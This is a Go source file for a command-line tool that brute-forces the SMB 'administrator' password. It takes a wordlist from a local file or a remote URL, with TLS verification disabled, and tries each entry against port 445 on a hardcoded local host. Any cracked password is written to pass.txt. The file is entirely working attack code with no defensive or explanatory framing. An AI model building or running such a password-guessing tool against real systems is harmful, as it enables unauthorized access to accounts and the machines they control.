package main

import (
	"bufio"
	"crypto/tls"
	"fmt"
	"github.com/hirochachacha/go-smb2"
	"github.com/hpifu/go-kit/hflag"
	"log"
	"net"
	"net/http"
	"os"
	"strconv"
	"sync"
	"time"
)

var wg sync.WaitGroup

func main() {
	hflag.AddFlag("local", "读取本地密码字典文件", hflag.Shorthand("l"))
	hflag.AddFlag("remote", "读取远程主机字典文件", hflag.Shorthand("r"))
	if err := hflag.Parse(); err != nil {
		hflag.PrintDefaults()
	}
	if hflag.GetString("l") == "" && hflag.GetString("r") == "" {
		hflag.PrintDefaults()
		return
	} else if hflag.GetString("l") != "" {
		lolcalstart(hflag.GetString("l"))
	} else {
		remotestart(hflag.GetString("r"))
	}

}

func remotestart(s string) {
	defer func() { //捕获错误，将 参数 r 的输入或者发起http请求超时的情况进行统一控制
		if err := recover(); err != nil {
			log.Fatalln("---> [ Can Not Connect To Remote Host Read Wordlists ] <---")
			return
		}
	}()
	//设置超时和TLS证书错误忽略
	cli := &http.Client{Timeout: time.Second * 5, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
	get, err := cli.Get(s)
	if err != nil {
		panic(err)
	}
	defer func() {
		_ = get.Body.Close()
	}()
	scanner := bufio.NewScanner(get.Body)
	ch := make(chan string, 1024)
	go func() {
		for scanner.Scan() {
			ch <- scanner.Text()
		}
		close(ch)
	}()
	wg.Add(1)
	go startCrack(ch)
	wg.Wait()
}

func lolcalstart(s string) {
	defer func() { //捕获错误，将 参数 r 的输入或者发起http请求超时的情况进行统一控制
		if err := recover(); err != nil {
			log.Fatalln("---> [ Can Not Read Local Wordlists ] <---")
			return
		}
	}()
	open, err := os.Open(s)
	if err != nil {
		panic(err)
	}
	defer func() {
		_ = open.Close()
	}()
	ch := make(chan string, 1024)

	scanner := bufio.NewScanner(open)
	go func() {
		for scanner.Scan() {
			ch <- scanner.Text()
		}
		close(ch)
	}()
	wg.Add(1)
	go startCrack(ch)
	wg.Wait()
}

func startCrack(cc chan string) {
	defer func() { //捕获错误，将 参数 r 的输入或者发起http请求超时的情况进行统一控制
		if err := recover(); err != nil {
			log.Fatalln("---> [ SMB Logon Failed ] <---")
			return
		}
	}()
	now := time.Now()
	defer wg.Done()
	for x := range cc {
		conn, err := net.Dial("tcp", net.JoinHostPort("127.0.0.1", strconv.Itoa(445)))
		if err != nil {
			panic(err)
		}
		defer func() {
			_ = conn.Close()
		}()
		d := &smb2.Dialer{
			Initiator: &smb2.NTLMInitiator{
				User:     "administrator",
				Password: x,
			},
		}
		s, err := d.Dial(conn)
		if err != nil {
			continue
		} else {
			sprintf := fmt.Sprintf("---> [ PassWord Cracked SuccessFully PassWord Is : { ---> %s <-- } Total Use Time : %v ] <---\n", x, time.Since(now))
			fmt.Println(sprintf)
			_ = s.Logoff()
			pwd, err := os.Getwd()
			if err != nil {
				panic(err)
			}
			file, err := os.OpenFile(pwd+"\\pass.txt", os.O_CREATE|os.O_APPEND, 0666)
			if err != nil {
				panic(err)
			}
			defer func() {
				_ = file.Close()
			}()
			_, err = file.WriteString(sprintf)
			if err != nil {
				panic(err)
			}

			return
		}
	}
}
